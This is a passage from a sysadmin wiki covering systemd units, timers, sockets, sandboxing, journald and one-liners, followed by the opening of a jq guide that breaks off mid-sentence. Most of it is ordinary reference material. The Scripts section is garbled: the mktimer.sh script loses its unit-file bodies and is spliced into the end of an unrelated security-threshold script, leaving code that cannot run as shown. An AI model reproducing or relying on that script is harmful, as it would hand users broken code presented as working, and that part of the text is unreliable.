latest record journalctl -u my-app -g 'timeout|refused' # regex on MESSAGE; case-insensitive if all lower case journalctl -k -b # kernel messages this boot journalctl --list-boots journalctl --disk-usage journalctl --vacuum-time=7d # deletes archived journal files older than 7 days ``` Storage is set by `Storage=` in `journald.conf`. With `auto`, logs persist only if `/var/log/journal` exists; otherwise they live in `/run/log/journal` and vanish at reboot. systemd 259 changed the default from `auto` to `persistent`. On older systems with no `/var/log/journal`, `journalctl -b -1` returns nothing. ## Writing a unit Local units go in `/etc/systemd/system/`. Run `systemctl daemon-reload` after creating or editing one by hand. ```ini [Unit] Description=Ingest worker Documentation=https://docs.example.com/ingest After=network-online.target postgresql.service Wants=network-online.target StartLimitIntervalSec=300 StartLimitBurst=5 [Service] Type=notify User=ingest Group=ingest WorkingDirectory=/opt/ingest EnvironmentFile=-/etc/ingest/env ExecStart=/opt/ingest/bin/worker --config /etc/ingest/config.yaml ExecReload=kill -HUP $MAINPID Restart=on-failure RestartSec=5 TimeoutStopSec=30 # sandboxing: each line removes access the service does not need NoNewPrivileges=yes PrivateTmp=yes ProtectSystem=strict ProtectHome=yes StateDirectory=ingest ProtectKernelTunables=yes ProtectControlGroups=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX SystemCallFilter=@system-service CapabilityBoundingSet= [Install] WantedBy=multi-user.target ``` `StateDirectory=ingest` creates `/var/lib/ingest` owned by the service user and makes it writable under `ProtectSystem=strict`. Use `ReadWritePaths=` for paths systemd should not create. | Setting | Effect | | --- | --- | | `Type=simple` | Default. Started as soon as the process is forked, before `execve`, so a missing binary still counts as started | | `Type=exec` | Started once `execve` succeeds, so a bad `ExecStart=` fails the start job. Recommended over `simple` (v240+) | | `Type=forking` | Traditional daemon: started when the parent exits. Set `PIDFile=` so systemd tracks the right main process | | `Type=notify` | Started when the service sends `READY=1` through `sd_notify()`. Accurate ordering for dependants | | `Type=notify-reload` | Like `notify`, and `systemctl reload` sends `SIGHUP` and waits for the service to report completion (v253+) | | `Type=oneshot` | Started when the process exits. Add `RemainAfterExit=yes` to keep it "active" afterwards | | `Restart=on-failure` | Restart after non-zero exit, unclean signal, timeout, watchdog or OOM kill; not after a clean exit or `systemctl stop` | | `StartLimitBurst=` / `StartLimitIntervalSec=` | In `[Unit]`. Too many starts in the window leaves the unit `failed` with `start-limit-hit` | | `After=` | Ordering only: start after X if both are being started. Pulls nothing in | | `Wants=` / `Requires=` | Pull X in. `Requires=` also stops this unit if X is stopped. Combine with `After=` for ordering | | `EnvironmentFile=-/path` | Leading `-` makes a missing file non-fatal | `After=network-online.target` needs `Wants=network-online.target` too, or nothing pulls the target in and the unit may start before the network is configured. Check the sandbox you achieved: ```sh systemd-analyze security my-app # exposure score 0 to 10 and the setting behind each point ``` ## Overriding a packaged unit Do not edit files under `/usr/lib/systemd/system/`: the next package update overwrites them. ```sh systemctl edit my-app # writes /etc/systemd/system/my-app.service.d/override.conf and reloads systemctl edit --full my-app # copies the whole unit to /etc/systemd/system/ for larger changes systemctl revert my-app # deletes local overrides and drop-ins, back to the vendor unit ``` ```ini # /etc/systemd/system/my-app.service.d/override.conf [Service] ExecStart= ExecStart=/opt/ingest/bin/worker --config /etc/ingest/other.yaml MemoryMax=2G ``` List-valued settings such as `ExecStart=`, `Environment=` and `After=` accumulate across drop-ins. An empty assignment clears the list. Without the empty `ExecStart=` line the unit has two `ExecStart=` commands and fails to load with "Service has more than one ExecStart= setting, which is only allowed for Type=oneshot services". ```sh systemctl restart my-app # systemctl edit already ran daemon-reload; the process needs a restart ``` ## Timers A timer unit activates a service unit of the same name (or the one named in `Unit=`). Compared with cron, timers log to the journal, record failures in unit state, catch up after downtime with `Persistent=true`, and run with the service's sandboxing and resource limits. ```ini # /etc/systemd/system/backup.timer [Unit] Description=Nightly backup [Timer] OnCalendar=*-*-* 02:30:00 RandomizedDelaySec=300 Persistent=true [Install] WantedBy=timers.target ``` ```sh systemctl enable --now backup.timer # enable the timer, not the service systemctl list-timers --all # next and last run for each systemd-analyze calendar --iterations=3 'Mon *-*-* 06:00:00' # validate and show the next elapses systemctl start backup.service # run it now, independent of the timer journalctl -u backup.service --since today ``` `OnCalendar=daily` means `*-*-* 00:00:00`, when many other jobs also run. `RandomizedDelaySec=` spreads the start. For a one-off delayed job without writing files: `systemd-run --on-active=30m /usr/local/bin/cleanup`. ## Resource control Every unit runs in its own cgroup, so the kernel enforces limits whether or not the process cooperates. ```ini [Service] MemoryMax=2G # hard limit: the OOM killer acts inside the cgroup above this MemoryHigh=1.5G # throttle and reclaim above this, before MemoryMax CPUQuota=150% # at most 1.5 CPUs of time CPUWeight=50 # relative share under contention (default 100) IOWeight=50 TasksMax=512 # processes plus threads ``` ```sh systemd-cgtop # live CPU, memory, I/O per cgroup systemctl show my-app -p MemoryCurrent -p MemoryPeak -p CPUUsageNSec systemctl set-property my-app MemoryMax=1G # apply now and persist as a drop-in systemd-run --scope -p MemoryMax=1G -p CPUQuota=50% ./heavy-job # limit an ad-hoc command ``` For reading pressure and throttling counters from these cgroups, see [Linux performance](https://www.wiki.jodisand.me/linux-performance/#cpu). ## Boot problems ```sh systemd-analyze # time in firmware, loader, kernel, initrd, userspace systemd-analyze blame # units by start time (parallel starts overlap, so not additive) systemd-analyze critical-chain # the chain that delayed the default target systemctl --failed journalctl -b -p err systemctl list-jobs # jobs still queued when boot hangs ``` A unit stuck in `activating` holds up every unit ordered `After=` it. `systemctl list-jobs` names the waiting jobs, which is faster than reading the whole journal. ## Socket activation systemd opens the listening socket itself and starts the service on the first connection. The service receives the socket as file descriptor 3 onwards, with `$LISTEN_FDS` set to the count and `$LISTEN_PID` to its own PID, and calls `sd_listen_fds()` (or the language equivalent) instead of `bind()`. Connections that arrive while the service is stopped or restarting wait in the kernel backlog instead of being refused, and a daemon that is rarely used stays stopped until something connects. ```ini # /etc/systemd/system/my-app.socket [Socket] ListenStream=8080 # TCP on every address; 127.0.0.1:8080 or [::1]:8080 to restrict ListenStream=/run/my-app/api.sock # AF_UNIX path; both sockets are passed to the same service SocketMode=0660 SocketUser=my-app NoDelay=true # TCP_NODELAY on accepted connections FreeBind=true # bind an address that is not configured yet at boot [Install] WantedBy=sockets.target ``` ```ini # /etc/systemd/system/my-app.service: no [Install] section, the socket starts it [Service] Type=exec User=my-app ExecStart=/opt/my-app/bin/server --systemd-socket ``` With the default `Accept=no` one service instance gets every listening socket. `Accept=yes` spawns `my-app@.service` per connection and passes only the accepted socket, with `$REMOTE_ADDR` and `$REMOTE_PORT` in the environment; `MaxConnections=` (default 64) and `MaxConnectionsPerSource=` bound it. `Accept=yes` costs a fork per connection and suits inetd-style programs, not servers. `Service=` names a service other than the one matching the socket name and is only allowed with `Accept=no`. ```sh systemctl enable --now my-app.socket # enable the socket, not the service systemctl list-sockets # listening address, socket unit and the unit it activates systemctl status my-app.socket # "Triggers:" shows the service; "Listen:" the addresses ss -ltnp 'sport = :8080' # the owner is systemd until the service starts systemctl stop my-app.socket my-app # stop both; stopping only the service lets the next connection restart it ``` Test a socket-activated program without a unit. `systemd-socket-activate` listens, then execs the command with the same `$LISTEN_FDS` protocol when a connection arrives: ```sh systemd-socket-activate -l 8080 /opt/my-app/bin/server --systemd-socket # -l address or port; repeatable systemd-socket-activate -l 8080 -a /usr/bin/my-handler # -a: one instance per connection, like Accept=yes systemd-socket-activate -l 8080 --inetd /usr/bin/my-handler # connection on stdin/stdout, inetd style ``` `TriggerLimitIntervalSec=` and `TriggerLimitBurst=` (defaults 2 s and 20 activations for `Accept=no`, 200 for `Accept=yes`) put the socket into a failed state when a client floods it; `systemctl reset-failed my-app.socket` clears it. ## Sandboxing Each directive under `[Service]` removes access through namespaces, seccomp filters or capability drops before `ExecStart=` runs. They cost nothing at runtime and turn a compromised service into a process that can read its own state directory and little else. The unit in [Writing a unit](#writing-a-unit) uses the common set; the table gives what each one does and what it breaks. | Directive | Effect | Breaks when | | --- | --- | --- | | `ProtectSystem=strict` | Whole file system read-only except `/dev`, `/proc`, `/sys` | The service writes anywhere not in `ReadWritePaths=` or a `*Directory=` setting | | `ProtectHome=yes` | `/home`, `/root`, `/run/user` empty and inaccessible; `read-only` or `tmpfs` are the alternatives | Config or data lives under a home directory | | `PrivateTmp=yes` | Private `/tmp` and `/var/tmp`, removed on stop | Another unit expects to find its files in `/tmp` | | `PrivateDevices=yes` | Only pseudo devices in `/dev`, no `/dev/sda`, `/dev/mem` | Hardware access, some GPU and audio work | | `PrivateNetwork=yes` | New network namespace with only `lo` | Any network use, including AF_UNIX to the host and D-Bus | | `NoNewPrivileges=yes` | `execve()` cannot gain privileges: setuid binaries, file capabilities | The service runs `sudo`, `ping` with setuid, or similar | | `CapabilityBoundingSet=` | Empty value drops every capability; list names to keep, prefix `~` to drop the named ones | Binding ports below 1024 needs `CAP_NET_BIND_SERVICE`; use `AmbientCapabilities=` for a non-root `User=` | | `RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX` | `socket()` fails for other families | Netlink (`AF_NETLINK`) for interface queries, `AF_PACKET` for raw capture | | `SystemCallFilter=@system-service` | Allow-list of system calls a normal service needs; the process is killed with `SIGSYS` on any other | Old binaries, JIT runtimes, anything mounting or using `ptrace`; `SystemCallErrorNumber=EPERM` returns an error instead of killing | | `SystemCallArchitectures=native` | Refuse 32-bit calls on a 64-bit kernel | Nothing in practice | | `RestrictNamespaces=yes`, `LockPersonality=yes`, `RestrictRealtime=yes`, `RestrictSUIDSGID=yes`, `MemoryDenyWriteExecute=yes` | Block namespace creation, `personality()`, realtime scheduling, creating setuid files, writable-and-executable memory | JIT compilers need write-execute memory; container tooling needs namespaces | | `ProtectKernelTunables=yes`, `ProtectKernelModules=yes`, `ProtectKernelLogs=yes`, `ProtectControlGroups=yes`, `ProtectClock=yes`, `ProtectHostname=yes` | `/proc/sys` and `/sys` read-only, no module loading, no `/dev/kmsg`, cgroup tree read-only, no clock changes, own UTS namespace | Monitoring agents that read `/dev/kmsg` or write sysctls | | `ProtectProc=invisible` | Other users' processes hidden from `/proc` | Process monitors | | `DynamicUser=yes` | UID and GID allocated at start and released at stop; implies `ProtectSystem=strict`, `ProtectHome=read-only`, `PrivateTmp=`, `NoNewPrivileges=`, `RestrictSUIDSGID=` and `RemoveIPC=` | Files the service must keep must live in `StateDirectory=`, `CacheDirectory=` or `LogsDirectory=`, which systemd chowns to the current UID | | `IPAddressDeny=any` with `IPAddressAllow=` | cgroup BPF filter on every socket; in `systemd.resource-control(5)` | Any peer not in the allow list | `RuntimeDirectory=`, `StateDirectory=`, `CacheDirectory=`, `LogsDirectory=` and `ConfigurationDirectory=` create `/run/NAME`, `/var/lib/NAME`, `/var/cache/NAME`, `/var/log/NAME` and `/etc/NAME` owned by the service user and export `$RUNTIME_DIRECTORY` and friends. They are the right way to give a sandboxed service somewhere to write; `ReadWritePaths=` is for paths that already exist and belong to something else. Secrets go in through credentials rather than `Environment=`, which any process in the unit can read from `/proc/PID/environ`: ```ini [Service] LoadCredential=db-password:/etc/my-app/db-password # readable only by root on disk ExecStart=/opt/my-app/bin/server --password-file ${CREDENTIALS_DIRECTORY}/db-password ``` The service sees the file under `$CREDENTIALS_DIRECTORY`, on a tmpfs owned by its user, and nothing else on the system can open it. `LoadCredentialEncrypted=` reads files produced by `systemd-creds encrypt`, which binds them to the TPM or the host key. Score the result and find the setting behind each point: ```sh systemd-analyze security my-app # per-directive table; 0 is fully sandboxed, 10 is unrestricted systemd-analyze security my-app --json=short | jq '[.[] | select(.set == false)] | length' # settings not applied systemd-analyze security --threshold=5 my-app # exit non-zero when exposure is above 5, for CI systemd-analyze security --offline=yes /etc/systemd/system/my-app.service # score a file without loading it ``` When a hardened unit fails, the exit status names the layer: `226/NAMESPACE` for a path in `ReadWritePaths=` or `BindPaths=` that does not exist, `228/SECCOMP` when the filter could not be applied, `238/STATE_DIRECTORY` when the directory could not be created, and `243/CREDENTIALS` for a missing credential file. A service that starts and then dies with `code=killed, status=31/SYS` made a system call outside its `SystemCallFilter=`. Reproduce a sandbox without editing the unit: ```sh systemd-run --pty --wait --uid=my-app -p ProtectSystem=strict -p PrivateTmp=yes \ -p SystemCallFilter=@system-service -p StateDirectory=my-app /opt/my-app/bin/server --check ``` Drop one `-p` at a time until it works; that is the directive to relax or the path to add. ## User units Every logged-in user gets a `systemd --user` manager that runs units from the user's own directories, as that user, with no root involved. It has its own `default.target`, timers, sockets and journal namespace, and the same `systemctl` and `journalctl` commands work with `--user`. | Location | Contents | | --- | --- | | `~/.config/systemd/user/` | The user's own units; `systemctl --user enable` links into `default.target.wants/` here | | `/etc/systemd/user/` | Units the administrator provides to every user | | `/usr/lib/systemd/user/` | Package-provided user units (`pipewire.service`, `dbus.service`) | | `$XDG_RUNTIME_DIR/systemd/user/` | Runtime units, gone at logout | ```sh mkdir -p ~/.config/systemd/user systemctl --user daemon-reload systemctl --user enable --now sync.timer systemctl --user status sync.service journalctl --user -u sync.service -f systemctl --user show-environment # the environment block user services inherit systemctl --user import-environment PATH # copy a variable from this shell into the manager systemd-run --user --unit=build -p MemoryMax=4G make -j8 # transient user unit with a cgroup limit ``` The user manager starts at first login and stops after the last session closes, taking every user service with it. Enable lingering for a user whose services must survive logout and start at boot: ```sh sudo loginctl enable-linger alice # creates /var/lib/systemd/linger/alice; user@1000.service now starts at boot loginctl show-user alice -p Linger ``` `systemctl --user` needs `$XDG_RUNTIME_DIR` (`/run/user/UID`) and `$DBUS_SESSION_BUS_ADDRESS`, which `pam_systemd` sets at login. From `sudo` or a cron job they are missing, so the command fails with `Failed to connect to bus`. Address the user's manager explicitly instead: ```sh sudo systemctl --user -M alice@ status sync.timer # -M USER@ targets that user's manager through the system bus sudo journalctl _UID="$(id -u alice)" --user-unit=sync.service ``` User units cannot use `User=`, `CapabilityBoundingSet=` or other root-only directives, bind to ports below 1024 without a sysctl, or start before the user manager exists; anything that must run as a system service belongs in `/etc/systemd/system/` with `User=` set. ## journald configuration `systemd-journald` reads `/etc/systemd/journald.conf` and then `/etc/systemd/journald.conf.d/*.conf` in lexical order; a drop-in keeps the package-owned file untouched. The defaults cap the persistent journal at 10% of the file system or 4 GiB, whichever is smaller, keep 15% free, and rate limit each service to 10,000 messages in 30 seconds. ```ini # /etc/systemd/journald.conf.d/10-retention.conf [Journal] Storage=persistent # /var/log/journal, created if missing; the default from v259 SystemMaxUse=2G # cap for /var/log/journal; the smaller of this and SystemKeepFree= wins SystemKeepFree=5G # leave this much free for other users of the file system SystemMaxFileSize=128M # rotation granularity; vacuuming deletes whole archived files MaxRetentionSec=1month # delete entries older than this; default 0 disables age-based deletion MaxFileSec=1week # rotate at least weekly so old data is deleted in small steps RateLimitIntervalSec=30s RateLimitBurst=10000 # per service; 0 in either disables rate limiting ForwardToSyslog=no # yes when rsyslog or a collector reads /run/systemd/journal/syslog MaxLevelStore=debug # drop records above this priority before storing Compress=yes ``` ```sh systemctl restart systemd-journald # apply; records in flight are kept in /run and re-read journalctl --disk-usage # active plus archived files journalctl --rotate --vacuum-size=500M # archive the active files first, then delete the oldest archives journalctl --vacuum-time=14d # by age journalctl --vacuum-files=10 # keep at most this many archived files journalctl --verify # checksum every journal file; reports corrupt ones journalctl --header # file headers; useful for out-of-order timestamps after a clock jump journalctl -N # every field name in use journalctl -F _SYSTEMD_UNIT # every value of one field, for building filters journalctl --flush # /run/log/journal into /var/log/journal once persistent storage exists ``` Vacuuming only removes archived files, so `--disk-usage` drops less than expected until the active file rotates; `--rotate` first fixes that. A single noisy unit is better limited in its own unit than globally: ```ini [Service] LogRateLimitIntervalSec=10s LogRateLimitBurst=200 LogFilterPatterns=~^DEBUG # drop matching lines before they reach the journal (v253+) LogExtraFields=TEAM=platform # add a field to every record for filtering ``` The message `Suppressed 3120 messages from my-app.service` in the journal means the rate limit fired and those records are gone. ## Oneliners ```sh # Result and exit status of every failed service systemctl --failed --no-legend --plain | awk '{print $1}' | xargs -r -I{} systemctl show {} -p Id -p Result -p ExecMainStatus # Services by memory use systemd-cgtop -m -b -n 1 --depth=2 | head -15 # Which unit owns a process systemctl status "$(pgrep -o -f worker)" # Restart count since the unit was last reset systemctl show my-app -p NRestarts --value # Processes in a unit's cgroup systemd-cgls -u my-app.service # Run a command as the service user in a transient unit and wait for it systemd-run --uid=ingest --same-dir --wait --pty /opt/ingest/bin/worker --check # Prevent a unit from being started by anything (symlinks it to /dev/null) systemctl mask --now my-app # Journal fields available for a unit journalctl -u my-app -o verbose -n 1 # Least-sandboxed services first systemd-analyze security --no-pager | sort -k2 -nr | head # Units that failed since boot, with the last three journal lines of each systemctl --failed --no-legend --plain | awk '{print $1}' | while read -r u; do echo "== $u"; journalctl -u "$u" -b -n 3 --no-pager -o cat; done # Every service that restarted at least once this boot systemctl list-units --type=service --no-legend --plain | awk '{print $1}' | xargs -r -I{} sh -c 'n=$(systemctl show {} -p NRestarts --value); [ "$n" -gt 0 ] && echo "$n {}"' | sort -rn # Effective value of one setting after all drop-ins systemctl show my-app -p ExecStart --value # Where a unit's files and drop-ins come from systemctl show my-app -p FragmentPath -p DropInPaths # Wait until a unit is active before continuing (exit 1 after 60 s) timeout 60s bash -c 'until systemctl is-active --quiet my-app; do sleep 1; done' # Time since the unit last became active systemctl show my-app -p ActiveEnterTimestamp --value # Sockets systemd is listening on, and the units they trigger systemctl list-sockets --all # Timers whose last run failed systemctl list-timers --all --no-legend --plain | awk '{print $NF}' | xargs -r -I{} sh -c 'systemctl is-failed --quiet {} && echo {}' # Next three elapses of a calendar expression systemd-analyze calendar --iterations=3 'Mon..Fri *-*-* 09:00' # Run a job once, 20 minutes from now, as a transient timer systemd-run --on-active=20m --unit=cleanup-once /usr/local/bin/cleanup # Journal lines of a unit as one JSON object per line, for jq journalctl -u my-app -b -o json | jq -r 'select(.PRIORITY|tonumber <= 3) | .MESSAGE' # Units logging most this boot journalctl -b -o json | jq -r '._SYSTEMD_UNIT // empty' | sort | uniq -c | sort -rn | head # Everything a process wrote, including its children, by cgroup journalctl -b _SYSTEMD_CGROUP=/system.slice/my-app.service # Messages the journal suppressed through rate limiting journalctl -b -g 'Suppressed [0-9]+ messages' # Kernel OOM kills this boot journalctl -k -b -g 'Out of memory|oom-kill' # Follow the journal of a user's service from root sudo journalctl -f _UID="$(id -u alice)" --user-unit=sync.service # Unit files that differ from the vendor version systemd-delta --type=extended,overridden # Verify every local unit file without starting anything systemd-analyze verify /etc/systemd/system/*.service # Run the security scan and fail above a threshold, for CI systemd-analyze security --threshold=6 my-app --no-pager # Exposure score for every service, as JSON for u in $(systemctl list-units --type=service --state=running --no-legend --plain | awk '{print $1}'); do printf '%s ' "$u"; systemd-analyze security "$u" --json=short 2>/dev/null | jq -r 'map(select(.set==false)) | length'; done # Environment the service will actually see (not your shell's) systemctl show my-app -p Environment -p EnvironmentFiles # Memory pressure stall time for a unit's cgroup cat "/sys/fs/cgroup/system.slice/my-app.service/memory.pressure" # Set a hard memory limit until the next boot only systemctl set-property --runtime my-app MemoryMax=512M # Stop a unit and everything that depends on it systemctl stop my-app --with-dependencies # Reboot into the boot menu or a rescue shell systemctl reboot --boot-loader-menu=10; systemctl rescue ``` ## Scripts Report every failed unit on a list of hosts, with its result, exit status and last journal lines, so one run covers a fleet. ```sh #!/usr/bin/env bash # usage: failed-units.sh host1 host2 ... (ssh as a user who can read the journal) set -euo pipefail for host in "$@"; do printf '== %s\n' "$host" ssh -o ConnectTimeout=5 -o BatchMode=yes "$host" bash -s <<'EOF' || printf 'unreachable\n' set -euo pipefail units=$(systemctl --failed --no-legend --plain | awk '{print $1}') [[ -n $units ]] || { echo ok; exit 0; } for u in $units; do systemctl show "$u" -p Id -p Result -p ExecMainStatus -p NRestarts --value | paste -sd ' ' journalctl -u "$u" -b -n 5 --no-pager -o short-iso | sed 's/^/ /' done EOF done ``` Generate a matching service and timer pair for a periodic job, with sandboxing already applied, and enable the timer. ```sh #!/usr/bin/env bash # usage: mktimer.sh NAME 'OnCalendar expression' /path/to/command [args...] set -euo pipefail name=$1; cal=$2; shift 2 systemd-analyze calendar "$cal" >/dev/null # fails on a bad expression before anything is written unit=/etc/systemd/system/$name cat > "$unit.service" < "$unit.timer" < t) }'; then printf '%-40s %s\n' "$unit" "$score" rc=1 fi done < <(systemd-analyze security --no-pager 2>/dev/null | awk 'NR > 1 && $2 ~ /^[0-9.]+$/ {print $1, $2}' | sort -k2 -nr) exit "$rc" ``` ## Troubleshooting | Symptom | Cause | Check or fix | | --- | --- | --- | | `Unit my-app.service not found` after creating it | Manager has not re-read unit files | `systemctl daemon-reload` | | `Warning: The unit file ... changed on disk` | Edited without reloading | `systemctl daemon-reload` | | `start request repeated too quickly` | `start-limit-hit` | Fix the cause, then `systemctl reset-failed my-app` | | `status=203/EXEC` | Wrong path, missing execute bit, CRLF shebang, SELinux label | `ls -lZ` the binary; `ausearch -m avc -ts recent` | | Starts by hand, fails as a service | Different user, `PATH`, working directory or sandbox | `systemd-run --uid=... --pty` to reproduce; relax one sandbox setting at a time | | Changes to a drop-in have no effect | Wrong section header, or a later drop-in overrides it | `systemctl cat my-app`, `systemd-delta` | | Service killed after 90 s on stop | Ignores `SIGTERM` | `TimeoutStopSec=`, `KillSignal=`, fix signal handling | | Enabled but not started at boot | `WantedBy=` target not reached, or condition failed | `systemctl list-dependencies multi-user.target`, `systemctl status` shows `Condition` lines | | Timer never fires | Timer not enabled, or the service is enabled instead | `systemctl list-timers --all`, `systemctl enable --now x.timer` | | No logs from a previous boot | Volatile journal storage | Create `/var/log/journal` or set `Storage=persistent`, then `journalctl --flush` | --- # jq > Select, filter, reshape and aggregate JSON with jq, pass shell values in safely and emit output that other shell tools can consume. Canonical: https://www.wiki.jodisand.me/jq/ Reviewed: 2026-09-24 Related: [Bash](https://www.wiki.jodisand.me/bash/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [AWS](https://www.wiki.jodisand.me/aws/index.md), [Terraform](https://www.wiki.jodisand.me/terraform/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Pretty print | `jq . file.json` | | Top-level keys | `jq 'keys'` | | Key and value type of an object | `jq 'to_entries \| map({key, type: (.value \| type)})'` | | One field as plain text | `jq -r '.name'` | | Nested, with a fallback | `jq -r '.a.b // "none"'` | | Every array element | `jq '.items[]'` | | Filter elements | `jq '.items[] \| select(.status == "ready")'` | | Project to new objects | `jq '[.items[] \| {name, ip: .addr}]'` | | Count | `jq '.items \| length'` | | Sum | `jq '[.items[].bytes] \| add'` | | Group and count | `jq 'group_by(.zone) \| map({zone: .[0].zone, n: length})'` | | Sort descending | `jq 'sort_by(-.size)'` | | Tab-separated rows | `jq -r '.[] \| [.a, .b] \| @tsv'` | | One object per line | `jq -c '.[]'` | | Use a shell variable | `jq --arg v "$x" '.[] \| select(.name == $v)'` | | Exit non-zero when false or null | `jq -e '.items \| length > 0'` | | Edit a field | `jq '.spec.replicas = 3'` | Verified against jq 1.8.1. Features added in 1.7 or 1.8 are marked; check `jq --version`, since many distributions still ship 1.6. Reference: the [jq manual](https://jqlang.org/manual/). ## How a jq program runs A jq program is a filter: it takes one JSON value as input and produces zero, one or many outputs. `|` feeds each output of the left side into the right side. `,` produces the outputs of both sides. `.items[]` produces one output per element, and everything to its right runs once per element. ```sh echo '{"items":[{"n":1},{"n":2}]}' | jq '.items[] | .n' ``` ```text 1 2 ``` Wrapping a stream in `[...]` collects it into an array. That is why `.items[] | select(...)` prints separate values while `[.items[] | select(...)]` or `.items | map(select(...))` prints one array. When a filter produces nothing (`empty`, a `select` that fails), later stages never run. With several input documents (JSON lines, or concatenated objects), jq runs the program once per document. `-s` (slurp) reads them all into one array first; `-n` with `inputs` reads them lazily. ## Look at the shape first Most jq time is lost guessing at structure. Print the top level, then descend. ```sh jq 'keys' file.json jq '.items | length' file.json jq '.items[0]' file.json # one representative element jq -r 'paths(type | . != "object" and . != "array") | join(".")' file.json | sort -u | head -40 # every leaf path jq 'map(keys) | add | unique' file.json # union of keys across an array of objects ``` The leaf-path filter prints every addressable value in an unfamiliar document, for example `items.0.metadata.name`. The common shortcut `paths(scalars)` skips leaves whose value is `null` or `false`, because `paths(f)` keeps a path only when `f` returns a truthy value. ## Selecting ```sh jq '.name' # field; null if absent jq '.a.b.c' # nested; null if any level is absent or null jq '.["odd-key"]' # keys that are not identifiers jq '.items[]' # stream the elements jq '.items[2]' # index; .items[-1] is the last jq '.items[1:3]' # slice: elements 1 and 2 jq '.. | .id? // empty' # every "id" at any depth jq '.a // "default"' # fallback when .a is null, false or missing jq '.items[]?' # no error if .items is not iterable ``` `?` suppresses the error when the input is the wrong type (for example indexing a string). `//` supplies a value when the left side produces `null`, `false` or nothing. They solve different problems and often appear together. ## Filtering ```sh jq '.items[] | select(.status == "ready")' jq '.items[] | select(.count > 10 and .zone != "a")' jq '.items[] | select(.name | startswith("prod"))' jq '.items[] | select(.name | test("^api-[0-9]+$"))' # regex (Oniguruma) jq '.items[] | select(any(.tags[]; . == "urgent"))' # array contains a value jq '.items[] | select(.zone | IN("a", "b"))' # value is one of several jq '.items[] | select(has("error"))' # key present, even if null jq '.items | map(select(.active)) | length' # count matches jq 'del(.items[] | select(.deleted))' # remove matching elements ``` `select(cond)` passes its input through unchanged when `cond` is truthy and produces nothing otherwise. Only `false` and `null` are falsy: `0`, `""` and `[]` are true. ## Reshaping and editing ```sh jq '{name, ip: .addr}' # {name} is short for {name: .name} jq '.items | map({name: .metadata.name, images: [.spec.containers[].image]})' jq 'to_entries | map({k: .key, v: .value})' # object to array of {key, value} jq 'from_entries' # and back jq 'with_entries(.value |= ascii_downcase)' # transform every value jq 'pick(.metadata.name, .spec.replicas)' # keep only these paths (1.7+) jq '.metadata.labels += {env: "prod"}' # merge into a nested object jq 'del(.metadata.managedFields)' # drop noise jq '.a as $x | .b | {x: $x, y: .}' # bind a value for later use jq -s 'add' # several documents into one (arrays concatenate, objects merge) jq 'flatten' # nested arrays to one level ``` | Operator | Right-hand side is evaluated against | Example | | --- | --- | --- | | `=` | The original input `.` | `.b = .a` copies `.a` into `.b` | | `\|=` | The current value at the path | `.count \|= . + 1` | | `+=`, `-=`, `*=` ... | The original input, then combined with the current value | `.count += 1` | Assignment creates missing paths: `{} | .a.b = 1` gives `{"a":{"b":1}}`. jq never edits a file in place; write to a temporary file and move it (`jq ... f > f.tmp && mv f.tmp f`), or use `sponge` from moreutils. `jq . f > f` truncates `f` before jq reads it. ## Aggregating ```sh jq '[.items[].bytes] | add' # sum; add of an empty array is null jq '[.items[].bytes] | add / length' # mean jq '[.items[].latency] | sort | .[length / 2 | floor]' # median (upper for even counts) jq 'group_by(.zone) | map({zone: .[0].zone, count: length, total: (map(.bytes) | add)})' jq 'map(.status) | group_by(.) | map({status: .[0], n: length})' jq 'max_by(.age)' jq 'unique_by(.host)' jq 'sort_by(.name) | reverse' jq 'reduce .items[] as $i (0; . + $i.count)' # explicit fold jq '.sum = add(.xs[])' # add over a generator (1.8+) ``` `group_by`, `unique_by` and `sort_by` sort their input, so they cost O(n log n) and return groups ordered by the key, not by first appearance. ## Output for the shell ```sh jq -r '.name' # raw: no quotes, no JSON escapes jq -c '.items[]' # compact: one JSON value per line jq -r '.items[] | [.name, .ip] | @tsv' # tab-separated, tabs and newlines escaped jq -r '.items[] | "\(.name)=\(.ip)"' # string interpolation jq -r '.[] | @csv' # CSV with quoting jq -r '.data | @base64d' # decode base64; @base64 encodes jq -r '.cmd | @sh' # quote for safe use in a shell command jq -r 'to_entries[] | "export \(.key)=\(.value | @sh)"' jq --raw-output0 '.files[]' | xargs -0 rm -- # NUL-separated for names with newlines (1.7+); deletes files jq --tab . # indent with tabs; --indent n for n spaces ``` `@tsv` with `-r` is the bridge to `awk`, `cut` and `while IFS=$'\t' read -r`. `@sh` is the safe way to interpolate untrusted JSON into a shell command line. ## Arguments and exit codes ```sh jq --arg name "$NAME" '.items[] | select(.name == $name)' # always a string jq --argjson limit 5 '.items[] | select(.count > $limit)' # parsed as JSON: numbers, booleans, objects jq --slurpfile extra other.json '. + $extra[0]' # file contents as an array jq --rawfile body payload.txt '{body: $body}' # file contents as one string jq -n --args '$ARGS.positional' a b c # remaining arguments as an array jq -n '{ts: (now | todate), user: $ENV.USER}' # build JSON from nothing ``` Never build a filter by string concatenation (`jq ".name == \"$x\""`): a quote in `$x` breaks or changes the program. Pass values with `--arg` or `--argjson`. | Exit status | Meaning | | --- | --- | | 0 | Ran successfully (with `-e`: last output was neither `false` nor `null`) | | 1 | With `-e`: last output was `false` or `null` | | 2 | Usage problem or system error, such as a missing file | | 3 | Compile error in the jq program | | 4 | With `-e`: no output was produced | | 5 | Runtime error, such as indexing a string, or `halt_error` | ## Large inputs ```sh jq -c '.[]' huge.json | while IFS= read -r line; do process "$line"; done jq -c --stream 'select(length == 2)' huge.json | head # [path, leaf] events jq -cn --stream 'fromstream(1 | truncate_stream(inputs))' huge.json # top-level array, one element at a time curl -sN https://api.example.com/stream | jq -c --unbuffered '.event' ``` Normal jq parses the whole document into memory before running the program, and memory use is several times the file size. `--stream` emits `[path, value]` events while parsing, so a multi-gigabyte top-level array can be processed one element at a time. `--unbuffered` flushes after each output, which matters when the consumer is a live pipe. Each streaming event is `[path, leaf]` for a scalar and `[path]` (length 1) when a container closes; `select(length == 2)` keeps only the leaves. `truncate_stream(depth)` drops the first `depth` path components, and `fromstream` reassembles the events back into values, which is how the array example above yields whole elements without ever holding the array. `--seq` reads and writes RFC 7464 JSON text sequences (each text prefixed with an RS byte), which lets a consumer resynchronise after a truncated record; `--stream-errors` turns parse errors into stream events instead of aborting. ## reduce and foreach `reduce` folds a stream into one value: `reduce GEN as $x (INIT; UPDATE)` runs `UPDATE` once per output of `GEN`, with `.` bound to the accumulator and `$x` to 